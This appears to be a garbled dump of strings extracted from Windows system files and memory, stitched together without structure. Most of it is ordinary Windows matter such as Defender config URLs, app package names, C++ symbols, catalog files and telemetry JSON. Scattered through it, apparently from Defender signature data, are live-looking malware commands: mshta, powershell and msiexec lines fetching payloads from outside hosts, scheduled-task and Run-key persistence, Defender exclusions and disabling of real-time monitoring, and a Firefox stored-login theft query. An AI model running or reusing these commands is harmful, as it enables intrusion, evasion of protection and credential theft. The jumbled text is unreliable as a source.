/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
WINDOWS11$
windows11$
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
c:\windows\system32\rundll32.exeurl,openurl"https://terra.im/gl/?cid=
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
.?AVHResultException@Internal@Windows@@
.P6A?AV?$vector@UJapaneseEraInfo@Calendars@Globalization@Windows@@V?$allocator@UJapaneseEraInfo@Calendars@Globalization@Windows@@@std@@@std@@XZ
winbootdir=C:\WINDOWS
COMSPEC=C:\WINDOWS\COMMAND.COM
PATH=C:\WINDOWS
AppMicrosoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!Appms-resource:PackageDisplayNamems-resource:PackageDescriptionAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
AppMicrosoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!Appms-resource:AppxManifest_DisplayNamems-resource:AppxManifest_DescriptionAssets\Square150x150Logo.pngAssets\Square44x44Logo.pngAssets\Wide310x150Logo.pnglight
AppMicrosoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!AppPinningConfirmationDialogPinningConfirmationDialogAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!Appms-resource:AppName/Textms-resource:AppDescriptionAssets\Square150x150Logo.pngAssets\PeopleLogo.pnglight
AppMicrosoft.Windows.ParentalControls_cw5n1h2txyewy!Appms-resource:DisplayNamems-resource:DisplayNameAssets\Logo.pngAssets\FamilySafetyAppList.pnglight
AppMicrosoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!Appms-resource:AppDisplayNamems-resource:AppDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!Appms-resource:AppDisplayNamems-resource:AppDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!Appms-resource:AppDisplayNamems-resource:AppDescriptionassets\NarratorMedTile.pngassets\NarratorAppList.pngassets\NarratorWideTile.pngassets\NarratorLargeTile.pngassets\NarratorSmallTile.pnglight
AppMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!Appms-resource:AppDisplayNamems-resource:AppDescriptionImages\Logo.pngImages\SmallLogo.pnglight
AppMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy!Appms-resource:appDisplayNamems-resource:appDescriptionimages\Logo.pngimages\SmallLogo.pnglight
AppMicrosoft.Windows.CapturePicker_cw5n1h2txyewy!AppCapturePickerCapturePickerAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!Appms-resource:PackageDisplayNamems-resource:PackageDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!Appms-resource:DisplayNamems-resource:DisplayNameAssets\Logo.pngAssets\SmallLogo.pnglight
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft.Windows.Graphics.DirectXDatabaseUpdater
Microsoft.Windows.Graphics.AdapterCache
WindowsGetStringRawBuffer
Microsoft.Windows.EnergyEstimation
Microsoft.Windows.SRUM.ProcessTag
Microsoft.Windows.SRUM.ComponentEnergyLib
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\ke
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
encriptaapistubdosc:\windows\system32\weweweee.dllvbasssssrcopy
WindowsFlights"
!-AppId"=Microsoft.Windows.Cortana_cw5n1h2txyewy!
c:\windows\system32\mshta.exe-https://secureurl.shop/09.01_otck/quicker.rtf"c:\programfiles(x86)\quicker.exe%windir%
c:\windows\system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.mshtahttp://109.107.181.48:8000/secret"
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://139.99.114.151/file/hh.hta'
Kc:\windows\system32\msiexec.exe/i"\\appliance-periodically-butler-wanting.trycloudflare.com@ssl\davwwwroot\news.msi
"http://0p.rs:8080/adaysqzezvmkowtdk/bpl2/q6pob/hsg/%computername%"f^j^o=^vz^l-^q^u^ie^t%windir%\system32\shell32.dll
eX"http://a0.pm:8080/bja9x/o93yvuckho24yd7m/%computername%"-qu^i^et^wm^eggd^kwl=s^gd^s^x^y%windir%\system32\shell32.dll
)Xschtasks/create/tnupdateswinusbook/tr"%windir%\system32\rundll32.exe%appdata%\microsoft\office\mso
/agenzia/server.exeiconfile=c:\windows\system32\shell32.dll
y!#SCRIPT:PowerShell/WindowsCredentials
windows.security.credentials
WindowsFormsApp414
WindowsFormsApp1.Properties.Resources
Windows\System32\cmdd
Windows
\Windows\
xTagMp3Saito_Windows"	
\windows\
/, Environ$("appdata") & "\Microsoft\Windows\Start Menu\Program
9PLGBZWN65RGCooking Simulator Windowshttps://store-images.s-microsoft.com/image/apps.12734.14318332024941603.bcd56dc7-63bc-4d56-bf05-e25c65cd0318.ecaeef8d-f8fb-497f-a0bb-a3c93face31cen
9PLGBZWN65RGCooking Simulator Windowshttps://store-images.s-microsoft.com/image/apps.12734.14318332024941603.bcd56dc7-63bc-4d56-bf05-e25c65cd0318.ecaeef8d-f8fb-497f-a0bb-a3c93face31cfr
9PLGBZWN65RGCooking Simulator Windowshttps://store-images.s-microsoft.com/image/apps.12734.14318332024941603.bcd56dc7-63bc-4d56-bf05-e25c65cd0318.ecaeef8d-f8fb-497f-a0bb-a3c93face31cde
Windows
Assets/contrast-black/WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-bI
&\windows\system32\cmd.exe
%Microsoft Windows Production PCA 2011
l3nlcnzlci9nyxrlAppData\Roaming\ArkeiWindows_Antimalware_Host_System_WorkerSELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_loginsTrojan:AndroidOS/Dingwe!MTB
&windows-manifest-filename liquid.exe.manifest
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
WindowsFormsApplication25.pdbW
gFwinlogon.pdbw
winlogon.Resources.sqlAdmin.txtw
winlogon.Resources.sqlMssql.tx
schtasks.exe/f/create/tnkernel32/tr"c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-c
cmd/cpowershell-executionpolicybypass-windowstyl%
Windows.Foundation.Metadata.DefaultAttribute
Windows.Foundation.Metadata.GCPressureAmount
%s/%s (Windows NT %lu.%lu
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Microsoft Windows
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCalculator_8wekyb3d8bbwe
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_8wekyb3d8bbwe
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewyY
ComSpec=C:\WINDOWS\system32\cmd.exe
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7?
Add-MpPreference -ExclusionProcess ($env:APPDATA + '\Microsoft\Windows\svchost.exe')A
Add-MpPreference -ExclusionPath ($env:APPDATA + '\Microsoft\Windows')A
Add-MpPreference -ExclusionPath ($env:USERPROFILE + '\AppData\Roaming\Microsoft\Windows')A
 @ComSpec=C:\WINDOWS\system32\cmd.exe
 @LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local
 @APPDATA=C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming
set-itemproperty-path"hklm:\software\policies\microsoft\windowsdefender\real-timeprotection"-name"disablerealtimemonitoring"-value1-typedword-force
\appdata\roaming\microsoft\windows\templates\chromeupdate.js'/f
%);set-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
<htmlhola_ext_inject="disabled"><head><metahttp-equiv="content-type"content="text/html;charset=windows-1252"><title>adobeonline-pdfreader</title><
C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted -p
IsWindowsInsider
eglCreatePlatformWindowSurface
eglCreatePlatformWindowSurfaceEXT
eglCreateWindowSurface
Windows.
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'https://xcvbdsgs.s3-eu-west-1.amazonaws.com/image2.png
            name="Microsoft.Windows.Common-Controls"
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
 Windows 
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Chafe.doc-share.cloud/lukwk1cijcw/en30%2baxm/odnxxbjwq7/bdexiovmdw/mvpgnzdipo/kszug%3d%3d
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Windowsh
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-IoTEnterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewyQ
)C:\WINDOWS\system32\svchost.exe -k UserProfileService -p
windows mai[
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@V?$tuple@UAccessibleContentDialog@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@@std@@@impl@winrt@@
.?AV?$IUIElementOverrides8T@USettingsExpander@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@USettingsExpander@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@USettingsExpander@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
rsivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Microsoft.Windows.Security.CertEnroll
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:uap18="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"
           xmlns:uap4="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"
           xmlns:wincap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"
           xmlns:rescap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"
           xmlns:previewappcompat="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/windowscapabilities/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
MainWindowStatusBarPalette
DriverData=C:\Windows\System32\Drivers\DriverData
!Windows\CurrentVersion\Run\\
7\windowspowershell\v1.0\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
" : "CH"},"quota" : {"quotaState" : 1,"storageTotalInBytes" : 0,"storageUsedInBytes" : 0},"windows" : {"textScaleFactor" : 1}},
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Microsoft.Windows.Notifications.WpnVerboseDiagnostics
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
Windows.Internal.Shell.VirtualDesktopManagement
NtUserSetCoveredWindowStates
NtUserSetProcessWindowStation
!#HSTR:SuspSystem32CleanStrings
cmd /c "c:\windows\temp\winhk.exe c:\windows\temp\winhk.dll"\\%s\c$\windows\temp\winhk.exe\\%s\c$\windows\temp\winhk.dllc:\windows\temp\winhk_failed_at.logc:\windows\temp\winhk_failed_copy.logc:\windows\temp\winhk_ok.log!#ALF:TrojanDownloader:MSIL/Njrat.GC!MTB
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows-
 Windows 10 
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\ProgramData\AxlnstSV\WindowsInstallationAssistant.exeC
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
 Windows
 Operating System","FileVersion":2814751477597310,"TimeDateStamp":1180332049,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8901129Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":42},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283B
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit
c:\windows\system32\
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy
clientcore\multimedia\audiocore\server\audiosrv\windowspolicymanager\duckingmanager.cpp
"WindowsTelemetry"v
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
responderIgnoreScroll__parambient__propKeyelashareLoading/get_progress_item_infoBackground__rewriteRelativeImportExtensionScrollShouldSetResponderCaptureact.elementTypeg$parsetransformFunctionscrollsToToption1__runInitializersettingsGeneralPlaceholdersBox__setFunctionNamediumvioletreduceTransparencyChanged__spreadArraysettingsGeneralStorageSectionToggleFolder__valuesettingsGeneralSyncTaboutDialogOnedriveInfoLabelanguageChanged_arrayLikeToArrayud_arrayWithoutHolesettingsHelpGetHelpWoTagselectCoAuthLockedItemstep1_assertThisInitializedigestylistic-sixteenqueueReplaceState_buildTextStylesettingsHelpPrivacyCookiesWoTagselectConfirmDialogStringstickyHeaderIndicesubHeaderLinkAlignoreCaselective_sync/on_submitButtonUnmountState_byteLengthrowOnInvalidObjectTypeg$c39_callTimerResume_catchLocommonModalContainerrorTextStylesetMany_blank_counterEvent_cellKeyToChildren should contain cellKey0_clearIndexecuteDirectDispatch(...): Invalid `event`._combineCallbacksettingsHelpReportConcernNewarnUnimplementedFilter_constructClassInstance_copyTokencoding must be a 